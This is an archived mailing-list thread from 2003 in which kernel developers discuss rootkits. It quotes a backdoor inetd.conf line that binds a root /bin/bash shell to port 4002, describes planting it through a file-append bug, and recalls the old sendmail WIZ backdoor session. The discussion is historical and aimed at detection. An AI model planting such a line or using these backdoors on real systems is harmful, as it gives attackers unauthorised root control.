Skip to contentSkip to conversation

Rootkit queston

OT Samium Gromoff 5 participants 5 messages Dec 6, 2003 – Dec 8, 2003

lore
Share & tools
lore
#0 lore raw
Quoted 6 lines · Richard B. Johnson

You can check for a common 'root attack', if you have inetd, by looking at the last few lines in /etc/inetd.conf. It may have some access port added that allows anybody who knows about it to log in as root from the network. It will look something like this:

Quoted 8 lines

# End of inetd.conf.
4002 stream tcp nowait root /bin/bash --

In this case, port 4002 will allow access to a root shell that has no terminal processing, but an attacker can use this to get complete control of your system. FYI, this is a 5-year-old attack, long obsolete if you have a "store-bought" distribution more recent.

How is it an attack?
(in order to write to inetd.conf you need to be root already)

And if it is, what does it accomplish?
(writing a daemon listening on a $BELOVED_PORT port is trivial)

regards, Samium Gromoff

#1 lore raw
Quoted 15 lines · Samium Gromoff
Quoted 6 lines

You can check for a common 'root attack', if you have inetd, by looking at the last few lines in /etc/inetd.conf. It may have some access port added that allows anybody who knows about it to log in as root from the network. It will look something like this:

Quoted 8 lines

# End of inetd.conf.
4002 stream tcp nowait root /bin/bash --

In this case, port 4002 will allow access to a root shell that has no terminal processing, but an attacker can use this to get complete control of your system. FYI, this is a 5-year-old attack, long obsolete if you have a "store-bought" distribution more recent.

Quoted 5 lines

How is it an attack?
(in order to write to inetd.conf you need to be root already)

And if it is, what does it accomplish?
(writing a daemon listening on a $BELOVED_PORT port is trivial)

Suppose you found a bug in a web server that would make the server append arbitrary data to existing files. Adding that line to inetd.conf would be one way to use that bug to gain full control over the machine.

Signature · 2 lines
Måns Rullgård
[email protected]
#2 lore raw
Quoted 4 lines · [email protected] (Måns Rullgård) writes:

Suppose you found a bug in a web server that would make the server append arbitrary data to existing files. Adding that line to inetd.conf would be one way to use that bug to gain full control over the machine.

But the inetd.conf line itself isn't an "attack"; it's a backdoor put in after an attack is successful.

Just terminology... :)

-Doug

#3 lore raw
In reply to Samium Gromoff
Quoted 11 lines · Samium Gromoff
Quoted 9 lines · Richard B. Johnson

You can check for a common 'root attack', if you have inetd, by looking at the last few lines in /etc/inetd.conf. It may have some access port added that allows anybody who knows about it to log in as root from the network. It will look something like this:

# End of inetd.conf.
4002 stream tcp nowait root /bin/bash --

[...]

Quoted 3 lines

How is it an attack?
(in order to write to inetd.conf you need to be root already)

he probably meant "rootkit" instead of "root attack" and as the subject reveals, that's what the thread was all about.

Christian.

Signature · 3 lines
BOFH excuse #13:

we're waiting for [the phone company] to fix that line
#4 lore raw
In reply to Samium Gromoff
Quoted 17 lines · Samium Gromoff
Quoted 6 lines · Richard B. Johnson

You can check for a common 'root attack', if you have inetd, by looking at the last few lines in /etc/inetd.conf. It may have some access port added that allows anybody who knows about it to log in as root from the network. It will look something like this:

Quoted 8 lines

# End of inetd.conf.
4002 stream tcp nowait root /bin/bash --

In this case, port 4002 will allow access to a root shell that has no terminal processing, but an attacker can use this to get complete control of your system. FYI, this is a 5-year-old attack, long obsolete if you have a "store-bought" distribution more recent.

Quoted 8 lines

How is it an attack?
(in order to write to inetd.conf you need to be root already)

And if it is, what does it accomplish?
(writing a daemon listening on a $BELOVED_PORT port is trivial)

regards, Samium Gromoff

The explaination I read about on the web was that inetd had a developer's "back-door". If you knew about it, you could write to inetd.conf, which had been opened r/w. Other back doors existed in other network daemons also. The first exposed one was in sendmail. You could do:
telnet dumb.victum.com 25
victum.com Sendmail 1.2.0 ready at Mon, Dec 4 1998
08:00:00 -0500

		WIZ
		220 Oh great leader.
		#

.... and you had a root-shell.

Cheers,
Dick Johnson
Penguin : Linux version 2.4.22 on an i686 machine (797.90 BogoMips).
Note 96.31% of all statistics are fiction.